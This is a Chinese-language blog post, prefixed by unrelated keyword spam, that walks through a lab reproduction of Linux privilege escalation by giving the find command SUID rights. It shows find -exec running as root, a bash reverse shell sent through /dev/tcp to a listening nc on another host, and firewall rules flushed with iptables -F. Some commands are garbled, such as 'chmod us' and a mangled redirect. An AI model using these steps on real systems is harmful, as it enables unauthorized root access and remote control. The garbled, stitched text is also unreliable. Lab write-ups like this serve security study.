微网站无锡,使用html作为wordpress登录,有没有外国网站可以做兼职翻译的,网吧网络维护公司需要说明的是利用find命令进行提权的方式已经不存在了#xff0c;因为Linux默认不会为find命令授予suid权限#xff0c;这里只是刻意的制造出了一种存在提权的环境 首先我们先介绍一下find命令#xff0c;find命令主要用来在Linux中查找文件使用#xff0c;它可以进行最基础… 需要说明的是利用find命令进行提权的方式已经不存在了因为Linux默认不会为find命令授予suid权限这里只是刻意的制造出了一种存在提权的环境 首先我们先介绍一下find命令find命令主要用来在Linux中查找文件使用它可以进行最基础的打印操作还可以根据文件的名称、类型、事假戳、大小、权限等来查找指定的文件。
利用find反弹shell实现提权主要依靠的就是find命令如果有suid的权限那么在执行find命令的一瞬间会拥有root权限又因为find命令可以使用执行的操作所以有很大的危害。
那么我们现在就复现一下 1首先可以查看一下find命令的权限
ls -al /usr/bin/find 可以看到并没有suids权限
2那么我现在手动的为find授予suid的权限
chmod us /usr/bin/find
我们再查看find的权限就会发现它已经有了s权限 3因为我现在还是在root用户下始终是root权限无法观察find命令提权的过程我现在切换到一个普通的用户下
su user14那么现在就可以测试一下find命令执行时会不会提升到root权限
find /etc/passwd -exec whoami \; 可以看到这里和我设想的一样在find命令执行的一瞬间是root权限 5那么这是我在另一台centos对12345端口进行监听
nc -lvvp 12345 5这时我尝试在centos1上执行操作尝试进行反弹shell
find /etc/passwd -exec bash -ip /dev/tcp/192.168.159.201/12345 01 \; 可以看到并没有成功难道因为我们没有到192.168.159.201的路由吗我们可是一个网段呀那我就用ping命令看看 很明显可以ping通呀那为什么在尝试执行时会报错说没有路由呢
6我想会不会是因为防火墙的原因于是我在两台主机上都清除了防火墙的规则
iptables -F
7然后再次尝试 可以看到centos1成功的利用find的这样一个漏洞反弹到了centos2的shell
8我们可以查看一下ip地址看看是否为centos1 可以看到这就是我的centos1设备的ip地址
到这里使用find来实现反弹shell的漏洞就复现完成了
注给find增加suid增加只是为了实验记着做完实验后去除find的suid权限
chmod u-s /usr/bin/find